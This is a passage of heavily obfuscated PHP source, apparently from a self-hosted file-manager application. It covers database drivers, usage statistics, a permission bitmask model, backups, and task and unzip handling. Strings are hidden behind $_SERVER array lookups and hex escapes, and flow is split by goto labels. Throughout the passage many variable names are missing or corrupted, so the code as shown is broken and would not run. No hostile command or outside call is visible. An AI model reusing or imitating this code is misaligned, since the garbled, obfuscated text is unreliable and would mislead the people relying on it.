$Ė = explode($ݱ[50], $Ė); if (count($Ė) > 1) { $ .= $ݱ[51] . $Ė[1] . $ݱ[52] . $Ė[0] . $ݱ[53]; } else { $ .= $ݱ[51] . $Ė[0] . $ݱ[53]; } break; case $ݱ[965]: case $ݱ[983]: break; case $ݱ[967]: break; case $ݱ[966]: case $ݱ[968]: break; case $ݱ[995]: default: $ .= $ݱ[51] . $Ė . $ݱ[53]; } } return $; } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[995]) { if ($ != $[211] && !preg_match($[959], $)) { $ = $[436] . trim($, $[436]) . $[436]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $͵ =& $_SERVER[]; if ($this->PDOStatement) { $γ = $this->PDOStatement->errorInfo(); $this->error = $γ[1] . $͵[4] . $γ[2]; } else { $this->error = $͵[12]; } if ($͵[12] != $this->queryStr) { $this->error .= LNG($͵[48]) . $this->queryStr; } think_trace($this->error, $͵[12], $͵[49]); return $this->error; } public function escapeString($ӭ) { $֡Ѻ =& $_SERVER[]; switch ($this->dbType) { case $֡Ѻ[992]: case $֡Ѻ[965]: case $֡Ѻ[983]: case $֡Ѻ[995]: return addslashes($ӭ); case $֡Ѻ[967]: case $֡Ѻ[984]: case $֡Ѻ[966]: case $֡Ѻ[968]: return str_ireplace($֡Ѻ[58], $֡Ѻ[59], $ӭ); } } protected function parseValue($) { $˯ =& $_SERVER[]; if (is_string($)) { $dz = strpos($, $˯[4]) === 0 && in_array($, array_keys($this->bind)); $ = $dz ? $this->escapeString($) : $˯[1005] . $this->escapeString($) . $˯[1005]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $˯[348]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $˯[1006]), $); } elseif (is_bool($)) { $ = $ ? $˯[91] : $˯[219]; } elseif (is_null($)) { $ = $˯[106]; } return $; } public function getLastInsertId() { $Ԃ =& $_SERVER[]; switch ($this->dbType) { case $Ԃ[992]: case $Ԃ[984]: case $Ԃ[965]: case $Ԃ[983]: case $Ԃ[967]: case $Ԃ[995]: return $this->_linkID->lastInsertId(); case $Ԃ[966]: case $Ԃ[968]: $ = $this->table; $Ю = $this->query("\123\105\x4c\x45\103\124\40{$}\x2e\x63\165\x72\162\166\x61\154\x20\143\x75\162\162\166\x61\154\40\x46\x52\x4f\x4d\40\x64\165\x61\x6c"); return $Ю ? $Ю[0][$Ԃ[1007]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ԑ) { $ۊ =& $_SERVER[]; if (!CacheLock::fileLock($ۊ[13])) { return !1; } $퓣 = parent::query($ԑ); CacheLock::fileUnLock($ۊ[13]); return $퓣; } public function execute($ş) { $Փ =& $_SERVER[]; if (!CacheLock::fileLock($Փ[13])) { return !1; } $ܹ = parent::execute($ş); CacheLock::fileUnLock($Փ[13]); return $ܹ; } } class DbSqlite3 extends DbSqlite3Base { public function query($ذ̈́) { $ӡԏ =& $_SERVER[]; if (!CacheLock::fileLock($ӡԏ[13])) { return !1; } $΁ = parent::query($ذ̈́); CacheLock::fileUnLock($ӡԏ[13]); return $΁; } public function execute($۾) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($۾); CacheLock::fileUnLock($[13]); return $; } } goto f޲; b: class AnalysisModel extends ModelBaseLight { public function init($) { $쮈 =& $_SERVER[]; $ = array($쮈[637] => array($쮈[33] => $쮈[1881], $쮈[325] => array($쮈[246], $쮈[810], $쮈[1882], $쮈[1883])), $쮈[1884] => array($쮈[33] => $쮈[1885], $쮈[325] => array($쮈[246], $쮈[808], $쮈[1886], $쮈[1887], $쮈[1888]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$쮈[33]]; $this->field = $[$][$쮈[325]]; return !0; } public function listData($ = false, $ = "\155\x6f\144\x69\x66\x79\124\151\x6d\145", $罙 = false) { return parent::listData($, $, $罙); } public function trendList($) { $Ԇ =& $_SERVER[]; $ś = $this->listData(); if ($ś) { $ۑ = end($ś); $ = date($Ԇ[1889], strtotime($Ԇ[1890])); if ($ۑ[$Ԇ[246]] == $) { return $ś; } $ϳ = strtotime($ۑ[$Ԇ[246]]); } if (!isset($ϳ)) { $ = $ == $Ԇ[637] ? $Ԇ[574] : $Ԇ[869]; $ϳ = Model($)->min($Ԇ[222]); } $λ = $Ԇ[1891] . ucfirst($); $󹄒 = $this->dateList($ϳ); foreach ($󹄒 as $) { $this->{$λ}($); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[]; $Ź = $; $Ц = strtotime($[1890]); $򵈡 = array(); while ($Ź <= $Ц) { $򵈡[] = date($[1889], $Ź); $Ź = strtotime($[1892], $Ź); } return $򵈡; } public function _recordUser($ސ = '') { $ڍ =& $_SERVER[]; $ң = strtotime(date($ڍ[1893], strtotime($ސ))); $ = strtotime(date($ڍ[1894], strtotime($ސ))); $ = array($ڍ[222] => array($ڍ[1063], $)); $𤏯 = Model($ڍ[574])->where($)->count($ڍ[1753]); $[$ڍ[222]] = array($ڍ[384], array($ң, $)); $镝 = Model($ڍ[574])->where($)->count($ڍ[1753]); $[$ڍ[33]] = $ڍ[1895]; $ = Model($ڍ[1896])->where($)->count($ڍ[1897]); $ܽ = array($ڍ[246] => $ސ, $ڍ[810] => (int) $𤏯, $ڍ[1882] => (int) $镝, $ڍ[1883] => (int) $); return $this->insert($ܽ); } public function _recordStore($夘 = '') { $ =& $_SERVER[]; $ = strtotime(date($[1894], strtotime($夘))); $ť = array($[222] => array($[1063], $)); $ǘ = Model($[519])->where($ť)->sum($[79]); $ť[$[460]] = 0; $ = Model($[869])->where($ť)->sum($[79]); $ť[$[181]] = 1; $ϝ = Model($[869])->where($ť)->sum($[79]); $ť[$[181]] = 2; $ = Model($[869])->where($ť)->sum($[79]); $Ե = array($[246] => $夘, $[808] => (int) $, $[1886] => (int) $ǘ, $[1887] => (int) $ϝ, $[1888] => (int) $); return $this->insert($Ե); } public function trend($, $) { $ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ʖ = $this->trendList($); if ($ʖ && $ != $[1726]) { $񮮎 = $ʖ[0][$[246]]; $ = $this->validDate($, $񮮎); $ᰭ = array(); $ܭ = array_to_keyvalue($ʖ, $[246]); foreach ($ as $ٲ) { if (isset($ܭ[$ٲ])) { $Ĕߣ = $ܭ[$ٲ]; } else { $Ĕߣ = end($ʖ); $Ĕߣ[$[246]] = $ٲ; if ($ == $[637]) { $Ĕߣ[$[1882]] = $Ĕߣ[$[1883]] = 0; } } $ᰭ[] = $Ĕߣ; } $ʖ = $ᰭ; } $˸ = array($[637] => array($[810] => LNG($[1898]), $[1882] => LNG($[1899]), $[1883] => LNG($[1900])), $[1884] => array($[808] => LNG($[1901]), $[1886] => LNG($[1902]), $[1887] => LNG($[1903]), $[1888] => LNG($[1904]))); $ = array($[637] => $[1905], $[1884] => $[79]); if (empty($ʖ)) { $ٲ = date($[1889], strtotime($[1890])); $ = array($[246] => $ٲ); foreach ($˸[$] as $얿 => $ܧĬ) { $[$얿] = 0; } $ʖ[] = $; } $˔ = array(); foreach ($ʖ as $ܧĬ) { if ($ == $[1884] && $ܧĬ[$[1886]] > $ܧĬ[$[808]]) { $ܧĬ[$[1886]] = $ܧĬ[$[808]]; } foreach ($˸[$] as $얿 => $逷) { $Ĕߣ = array($[246] => $ܧĬ[$[246]], $[1643] => $逷); $Ĕߣ[$[$]] = isset($ܧĬ[$얿]) ? $ܧĬ[$얿] : 0; $˔[] = $Ĕߣ; } } return $˔; } public function validDate($芦, $˅) { $ =& $_SERVER[]; $ = date($[1889], strtotime($[1890])); $׀ǻ = array($); switch ($芦) { case $[1733]: $۰ = mktime(0, 0, 0, date($[1906]), date($[1420]) - date($[1514]) + 7 - 7, date($[1907])); $ = 0; do { $ɭ = date($[1889], $۰ - 3600 * 24 * 7 * $); $׀ǻ[] = $ɭ; $++; } while ($˅ < $ɭ); break; case $[1731]: $ = 1; do { $̈́ = date($[1908], strtotime("\55\40{$}\40\155\157\156\164\x68\x73")); $׀ǻ[] = $̈́; $++; } while ($˅ < $̈́); break; case $[1909]: $̈ = (int) date($[1907], strtotime($˅)); $㟓 = (int) date($[1907]); if ($̈ >= $㟓) { break; } for ($̈; $̈ < $㟓; $̈++) { $׀ǻ[] = $̈ . $[1910]; } break; default: break; } if ($˅ > end($׀ǻ)) { array_pop($׀ǻ); } sort($׀ǻ); return $׀ǻ; } public function listTable($) { $ǧ = ucfirst($); return Model($ǧ)->listData(); } public function option($ǥ߫) { $񂩷 = $_SERVER[][1911] . ucfirst($ǥ߫); return $this->{$񂩷}(); } private function optionUser() { $߆ =& $_SERVER[]; $ϩ = Model($߆[574])->count($߆[1753]); $ܐ = Model($߆[574])->where($߆[1912])->count($߆[1753]); $𗩳 = intval($GLOBALS[$߆[6]][$߆[400]][$߆[1699]]) / 3600; $𢴣 = strtotime("\x2d{$𗩳}\40\150\157\x75\162\x73"); $ے = strtotime(date($߆[1893])); if ($𢴣 < $ے) { $𢴣 = $ے; } $ = array($߆[1913] => array($߆[1064], $𢴣)); $Ώ = (int) Model($߆[574])->where($)->count($߆[1753]); if (!$Ώ) { $Ώ = 1; } $ = array($߆[1913] => array($߆[1064], $ے)); $磄 = Model($߆[574])->where($)->count($߆[1753]); return array($߆[803] => (int) $ϩ, $߆[1914] => (int) ($ϩ - $ܐ), $߆[1915] => (int) $ܐ, $߆[1916] => (int) $磄, $߆[1917] => $Ώ); } private function optionFile() { $ =& $_SERVER[]; $ڑ = $this->sourceSize(); $ɍ = $ڑ[$[79]]; $Ӽߠ = $ڑ[$[1886]]; $ = Model($[869])->where(array($[460] => 0))->count($[184]); $뛄 = array($[460] => 0, $[222] => array($[1064], strtotime(date($[1893])))); $Ҟ = Model($[869])->where($뛄)->sum($[79]); $ = Model($[869])->where($뛄)->count($[184]); return array($[808] => $ɍ, $[1886] => $Ӽߠ, $[1918] => $ɍ - $Ӽߠ, $[1919] => (int) $Ҟ, $[810] => (int) $, $[1920] => (int) $); } private function optionAccess() { $橈 =& $_SERVER[]; return array($橈[803] => $this->typeLogCnt(), $橈[110] => $this->typeLogCnt($橈[110]), $橈[500] => $this->typeLogCnt($橈[500]), $橈[1921] => $this->typeLogCnt($橈[1921]), $橈[1922] => $this->typeLogCnt($橈[1922]), $橈[637] => $this->typeLogCnt($橈[12], $橈[1897])); } private function typeLogCnt($ = '', $ = "\x69\144") { $ܗ˓ =& $_SERVER[]; $ەô = array($ܗ˓[110] => array($ܗ˓[1923], $ܗ˓[1924]), $ܗ˓[500] => array($ܗ˓[1925], $ܗ˓[1926]), $ܗ˓[1921] => array($ܗ˓[1927], $ܗ˓[1928], $ܗ˓[1929]), $ܗ˓[1922] => array($ܗ˓[1930], $ܗ˓[1931]), $ܗ˓[1932] => array($ܗ˓[1933], $ܗ˓[1934], $ܗ˓[1935])); $ = strtotime(date($ܗ˓[1893])); $– = array($ܗ˓[222] => array($ܗ˓[1064], $)); if ($) { $–[$ܗ˓[33]] = array($ܗ˓[7], $ەô[$]); } $ӃŻ = Model($ܗ˓[1896])->where($–)->count($); return (int) $ӃŻ; } private function optionServer() { $ =& $_SERVER[]; $ҍ = $this->diskDriver(); $荢 = KodIO::defaultDriver(); $τ = array($[861] => $荢[$[450]]); $ꎧɏ = Model($[519])->where($τ)->sum($[79]); $Ȭ = explode($[53], $_SERVER[$[147]]); $ɸ = $Ȭ[0]; $ؿ = $GLOBALS[$[6]][$[21]]; $Ź = $ؿ[$[1026]]; if ($Ź == $[1014]) { $ = explode($[1336], $ؿ[$[1025]]); $Ź = $[0]; } if ($Ź == $[960] || $Ź == $[848]) { $Ů = Model()->db()->query($[1936]); $ = $Ů[0] && isset($Ů[0][$[1642]]) ? $Ů[0][$[1642]] : 0; $Ź = $[1937] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[400]][$[871]]; return array($[1938] => $ҍ ? $ҍ[$[1939]] : 0, $[1940] => $ҍ ? $ҍ[$[1941]] : 0, $[1942] => (int) $荢[$[1939]] * 1024 * 1024 * 1024, $[1943] => (int) $ꎧɏ, $[1944] => ucfirst($ɸ), $[1945] => $[1946] . PHP_VERSION, $[1947] => phpBuild64() ? 64 : 32, $[802] => str_replace($[1183], $[1042], $Ź), $[400] => ucfirst($), $[32] => $_SERVER[$[1948]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ƒ = $GLOBALS[$[6]][$[1353]] == $[1354]; if ($ƒ) { $ = $[1949]; if (function_exists($[1950])) { exec($[1951], $ޕ); $ = $ޕ[1] . $[8]; } } if (!file_exists($)) { return; } $͟ = @disk_total_space($); $ = $͟ - @disk_free_space($); return array($[1939] => $͟, $[1941] => $); } public function fileChart($ɾ) { $Ͳܔ =& $_SERVER[]; if (isset($ɾ[$Ͳܔ[1753]])) { return Model($Ͳܔ[869])->userFileTypeProfile($ɾ[$Ͳܔ[1753]]); } if (isset($ɾ[$Ͳܔ[1952]])) { return Model($Ͳܔ[869])->groupFileTypeProfile($ɾ[$Ͳܔ[1952]]); } $ޫ = $this->sourceSize(); $ = array($Ͳܔ[183] => 0, $Ͳܔ[181] => 1); $湻 = Model($Ͳܔ[869])->where($)->sum($Ͳܔ[79]); $[$Ͳܔ[181]] = 2; $ = Model($Ͳܔ[869])->where($)->sum($Ͳܔ[79]); return array($Ͳܔ[808] => $ޫ[$Ͳܔ[79]], $Ͳܔ[1886] => $ޫ[$Ͳܔ[1886]], $Ͳܔ[1887] => (int) $湻, $Ͳܔ[1888] => (int) $); } private function sourceSize() { $ʯ =& $_SERVER[]; $ = Model($ʯ[869])->where(array($ʯ[460] => 0))->sum($ʯ[79]); $鮔 = Model($ʯ[519])->sum($ʯ[79]); if ($鮔 > $) { $鮔 = $; } return array($ʯ[79] => (int) $, $ʯ[1886] => (int) $鮔); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $݁ =& $_SERVER[]; $ݻ = array(array($݁[469] => LNG($݁[1953]), $݁[1954] => $݁[1955], $݁[1956] => 1, $݁[1957] => 1, $݁[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($݁[469] => LNG($݁[1959]), $݁[1954] => $݁[1960], $݁[1956] => 2, $݁[1957] => 1, $݁[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($݁[469] => LNG($݁[1961]), $݁[1954] => $݁[1962], $݁[1956] => 3, $݁[1957] => 1, $݁[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($݁[469] => LNG($݁[1963]), $݁[1954] => $݁[1964], $݁[1956] => 4, $݁[1957] => 1, $݁[1958] => self::AUTH_SHOW | self::AUTH_VIEW), array($݁[469] => LNG($݁[1965]), $݁[1954] => $݁[1966], $݁[1956] => 5, $݁[1957] => 1, $݁[1958] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($݁[469] => LNG($݁[1967]), $݁[1954] => $݁[1968], $݁[1956] => 6, $݁[1957] => 1, $݁[1958] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($݁[469] => LNG($݁[1969]), $݁[1954] => $݁[1970], $݁[1956] => 7, $݁[1957] => 1, $݁[1958] => 0)); return $ݻ; } public static function authCheck($卿, $) { $㲎 =& $_SERVER[]; $卿 = intval($卿); if (KodUser::isRoot() && $GLOBALS[$㲎[6]][$㲎[1971]]) { return !0; } if ($卿 <= 0) { return !1; } if (($卿 & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($卿 & $); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($ۂ) { return self::authCheck($ۂ, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Ї) { return self::authCheck($Ї, self::AUTH_UPLOAD); } public static function authCheckEdit($ֿlj) { return self::authCheck($ֿlj, self::AUTH_EDIT); } public static function authCheckRemove($ͱ) { return self::authCheck($ͱ, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($̑) { return self::authCheck($̑, self::AUTH_EVENT); } public static function authCheckRoot($щ) { return self::authCheck($щ, self::AUTH_ROOT); } public static function authCheckAction($־, $) { $›Λ =& $_SERVER[]; $ˣ = array($›Λ[1972] => self::AUTH_VIEW, $›Λ[1248] => self::AUTH_DOWNLOAD, $›Λ[110] => self::AUTH_UPLOAD, $›Λ[1922] => self::AUTH_EDIT, $›Λ[1921] => self::AUTH_REMOVE, $›Λ[1932] => self::AUTH_SHARE, $›Λ[405] => self::AUTH_COMMENT, $›Λ[1741] => self::AUTH_EVENT, $›Λ[1973] => self::AUTH_ROOT); if (!isset($ˣ[$])) { return; } $ۦ = $ˣ[$]; $־ = intval($־); if ($־ <= 0) { return !1; } if (($־ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($־ & $ۦ); } public static function authDisable($ޏ, $) { if (intval($ޏ) <= 0) { return 0; } return intval($ޏ) & ~$; } public $optionType = "\123\171\163\164\x65\155\x2e\163\157\x75\162\x63\145\101\165\x74\150\x4c\x69\163\164"; public $field = array("\156\x61\x6d\x65", "\x61\165\x74\x68", "\x6c\141\x62\x65\154", "\144\151\x73\x70\x6c\141\x79", "\x73\171\x73\x74\x65\155", "\163\157\x72\x74"); public function initData() { $́ = $this->authDefault(); foreach ($́ as $׶) { $this->add($׶); } } public function findAuth($, $х) { $̹ =& $_SERVER[]; $ĩ = parent::listData(); foreach ($ĩ as $ɑ) { $ӎ = intval($ɑ[$̹[462]]); if ($ӎ <= 0 || $ɑ[$̹[1974]] == 0) { continue; } if (($ӎ & $) != $) { continue; } if (($ӎ & $х) != 0) { continue; } return $ɑ[$̹[450]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $杬 = parent::listData(); $ԟÅ = !1; foreach ($杬 as $) { if ($[$[462]] <= 0 || $[$[1974]] == $[219]) { continue; } if (!$ԟÅ) { $ԟÅ = $; continue; } if ($ԟÅ[$[462]] > $[$[462]]) { $ԟÅ = $; } } return $ԟÅ ? $ԟÅ[$[450]] : $[12]; } public function listData($܂ = false, $ʝ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($܂, $ʝ, $); } public function update($, $) { $ŋ =& $_SERVER[]; $쮽 = parent::listData($); $ֽܧ = $this->findByName($[$ŋ[32]]); if (!$쮽 || $ֽܧ && $ֽܧ[$ŋ[450]] != $쮽[$ŋ[450]]) { return !1; } $this->filterAuth($[$ŋ[462]]); return parent::update($, $); } public function remove($۵ā) { $˲ = parent::listData($۵ā); if (!$˲ || $˲[$_SERVER[][182]]) { return !1; } return parent::remove($۵ā); } public function add($ڇ = array()) { $䛇鰿 =& $_SERVER[]; if ($this->findByName($ڇ[$䛇鰿[32]])) { return !1; } $۴ = array($䛇鰿[32] => $䛇鰿[12], $䛇鰿[462] => 1, $䛇鰿[1975] => $䛇鰿[1962], $䛇鰿[1974] => 1, $䛇鰿[182] => 0, $䛇鰿[1976] => 0); $ڇ = array_merge($۴, $ڇ); $ڇ[$䛇鰿[1976]] = $this->getSort(); $this->filterAuth($ڇ[$䛇鰿[462]]); return parent::insert($ڇ); } private function getSort() { $ =& $_SERVER[]; $DZ = parent::listData(); $У = array_to_keyvalue($DZ, $[12], $[1976]); return empty($У) ? 0 : max($У) + 1; } private function filterAuth(&$) { if (!$) { return; } $٬ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $؃ = array(); foreach ($٬ as $) { if ($ & $) { $؃[] = $; } } if (in_array(self::AUTH_ROOT, $؃)) { $ = array_sum($٬); return; } $ȼ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($؃ as $) { if (isset($ȼ[$])) { $؃ = array_merge($؃, $ȼ[$]); } } $؃[] = self::AUTH_SHOW; $ = array_sum(array_unique($؃)); } public function sort($ğ, $) { return parent::update($ğ, $); } } class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\x6d\x2e\142\141\143\x6b\x75\160\114\151\x73\x74"; public $field = array("\151\x6f", "\x6e\x61\155\x65", "\x73\x74\x61\x74\x75\163", "\x63\x6f\x6e\x74\145\x6e\x74", "\x6d\x61\x6e\165\141\x6c", "\x72\x65\x73\165\154\x74", "\164\x69\155\145\106\162\157\155", "\164\x69\x6d\145\x54\x6f"); public function config() { $ =& $_SERVER[]; $ = Model($[815])->get($[827]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$[799]])) { $[$[799]] = $[91]; } unset($[$[1723]]); Action($[1977])->taskInit(); Model($[1722])->cacheClear(); $ = $[1978]; $Ҁ = Model($[1979])->findByKey($[1741], $); if (!$Ҁ) { $Ҁ = array(); } if (isset($Ҁ[$[197]])) { $Ҁ[$[197]] = json_decode($Ҁ[$[197]], !0); } if (isset($[$[197]])) { $Ҁ[$[197]][$[1726]] = $[$[197]]; unset($[$[197]]); } return array_merge($Ҁ, $); } public function listData($բ = false, $ = "\155\x6f\x64\151\146\171\x54\x69\155\145", $ = false) { return parent::listData($բ, $, !0); } public function lastItem() { $DZ = $this->listData(); return !empty($DZ[0]) ? $DZ[0] : null; } public function kill($֡) { $۶ =& $_SERVER[]; $ϡ = $this->listData($֡); if (!$ϡ || empty($ϡ[$۶[32]])) { return !0; } Task::kill($۶[826]); Task::kill($۶[844]); Task::kill($۶[853]); $ѹ = $ϡ[$۶[32]]; $̃ = TEMP_FILES . $۶[823] . $ѹ . $۶[8]; IO::remove($̃, !1); return $this->remove($֡); } public function remove($ۣӞ) { $կ = $this->listData($ۣӞ); if (!$կ) { return !0; } return $this->backupRemove($կ); } private function backupRemove($̕) { parent::remove($̕[$_SERVER[][450]]); $ = $this->backupPath($̕); IO::remove($, !1); return !0; } private function backupPath($©) { $գ =& $_SERVER[]; $ = $©[$գ[32]]; $ = Model($գ[815])->get($գ[816]); $线 = substr(md5($գ[817] . $ . $), 0, 8); return "\x7b\x69\157\72{$©[$գ[796]]}\175\57\144\141\x74\141\142\x61\163\145\57\142\x61\x63\x6b\x75\160\x2f" . $ . $գ[11] . $线; } public function start() { $ƫ =& $_SERVER[]; if ($GLOBALS[$ƫ[6]][$ƫ[92]][$ƫ[1980]] != $ƫ[91]) { return !0; } $ = $this->config(); if (!$ || $[$ƫ[1723]] != $ƫ[91]) { return !1; } $ = $this->process(); foreach ($ as $ڒ) { if ($ڒ) { return Task::restart($ڒ[$ƫ[450]]); } } $ĕݤ = new Backup(); $ݶ = $ĕݤ->db(); if ($ݶ) { $ݶ = $ĕݤ->dbFile(); if ($ݶ && $[$ƫ[799]] == $ƫ[219]) { $ݶ = $ĕݤ->file(); } } Backup::set(array($ƫ[795] => 1, $ƫ[806] => time())); return !0; } public function process() { $ =& $_SERVER[]; $׷ = array($[802] => Task::get($[826]), $[807] => Task::get($[844]), $[221] => Task::get($[853])); $ȕ = !1; foreach ($׷ as &$) { if ($ȕ) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1758], 0)); if (time() - $ > 7200) { Task::kill($[$[450]]); $ȕ = !0; $ = !1; } } } return $׷; } public function restore() { $ =& $_SERVER[]; ActionCall($[1110], !0, 1); ActionCall($[1110], !0, 0); } } goto E; bÜԃ: define($_SERVER[][652], $_SERVER[][653]); $vryastxkfb = $_SERVER[][654]; if (!$vryastxkfb) { return; } goto Bუ; cۚ: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ϗ = 5.0) { if (!$) { return; } $ꁑ = Cache::get($); if (!$ꁑ || timeFloat() - floatVal($ꁑ) >= $ϗ) { Cache::set($, timeFloat(), $ϗ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $, $ϗ = 5.0) { $х =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $օ = $х[1860]; $ۦ = Cache::get($օ, !0); $̓條 = array($х[1861] => timeFloat(), $х[1862] => timeFloat(), $х[316] => $, $х[1852] => $, $х[197] => $ϗ); if (is_array($ۦ[$])) { $̓條[$х[1862]] = $ۦ[$][$х[1862]]; } if (is_array($ۦ[$])) { if (timeFloat() - $ۦ[$][$х[1861]] < $̓條[$х[197]] * 0.3) { return; } $̓條[$х[1862]] = $ۦ[$][$х[1862]]; } $ۦ[$] = $̓條; Cache::set($օ, $ۦ, 60); Cache::removeMemory($օ); write_log($х[1863] . $ . $х[74] . $, $х[188]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $Ė = array($[1864]); $ = in_array(strtolower(ACTION), $Ė); if (!$ && !self::$asyncAdd) { return; } $Էݕ = $[1860]; $홗 = Cache::get($Էݕ, !0); if (!$홗 || count($홗) <= 0) { return; } $ꨣ = !1; $ń = timeFloat(); $㠳̣ = array(); foreach ($홗 as $ => $㔦) { if ($ń - $㔦[$[1862]] > $㔦[$[197]]) { $ꨣ = !0; try { Hook::apply($㔦[$[316]], $㔦[$[1852]]); write_log($[1865] . $ . $[74] . $㔦[$[316]] . $[1866] . ACTION, $[188]); } catch (Exception $⯗) { } continue; } $㠳̣[$] = $㔦; } if (!$ꨣ) { return; } if (!$㠳̣) { return Cache::remove($Էݕ); } Cache::set($Էݕ, $㠳̣, 60); Cache::removeMemory($Էݕ); } public static function finished($, $߆) { $枈 =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($枈[316] => $, $枈[1852] => $߆); } private static function finishedRun() { $ۥ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$ۥ[316]], $[$ۥ[1852]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $̚ =& $_SERVER[]; parent::startAfter(); Hook::bind($̚[1867], array($this, $̚[1868])); Hook::bind($̚[1247], array($this, $̚[1869])); Hook::bind($̚[1870], array($this, $̚[1871])); $䇀 =& $this->task; $䇀[$̚[1872]] = $̚[1248]; if (!$䇀[$̚[1643]]) { $䇀[$̚[1643]] = LNG($̚[1873]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1867], array($this, $[1868])); Hook::unbind($[1247], array($this, $[1869])); Hook::unbind($[1870], array($this, $[1871])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1113]] || !$[$[808]]) { if ($[$[1872]] != $[364]) { return; } } if ($[$[1872]] == $[1248]) { $ = 0; if ($[$[1806]]) { $ = $[$[1807]] / $[$[1806]]; } $[$[1755]] = $ * 0.3; } else { if ($[$[1872]] == $[364]) { $ = $[$[1754]] / $[$[1113]]; $[$[1755]] = 0.3 + $ * 0.4; } else { if ($[$[1872]] == $[110]) { $܃ = 0; if ($[$[1808]] == $[110]) { $܃ = $[$[1807]]; } $ = ($[$[1811]] + $܃) / $[$[808]]; $[$[1755]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1755]] > 0) { $ێ = timeFloat() - $[$[1757]] - $[$[1760]]; $[$[1761]] = $ێ * (1 - $[$[1755]]) / $[$[1755]]; } } public function addFile($) { $͓ =& $_SERVER[]; $ź =& $this->task; $ = IO::info($); $ź[$͓[1804]] = $[$͓[32]]; $ź[$͓[1806]] = $[$͓[79]]; $ź[$͓[1807]] = 0; $ź[$͓[1115]] = $͓[1827]; $ź[$͓[1808]] = $͓[1248]; $ź[$͓[808]] = $[$͓[79]]; $ź[$͓[1113]] = 1; $ = 0; $ź[$͓[1815]] = array($͓[1816] => $ + 1, $͓[469] => $[$͓[32]], $͓[87] => $[$͓[87]], $͓[558] => $[$͓[558]] ? $[$͓[558]] : $[$͓[87]]); $this->update(); } public function zipEvent($, $, $, $ݝ縜) { $̍ =& $_SERVER[]; $ڬ =& $this->task; 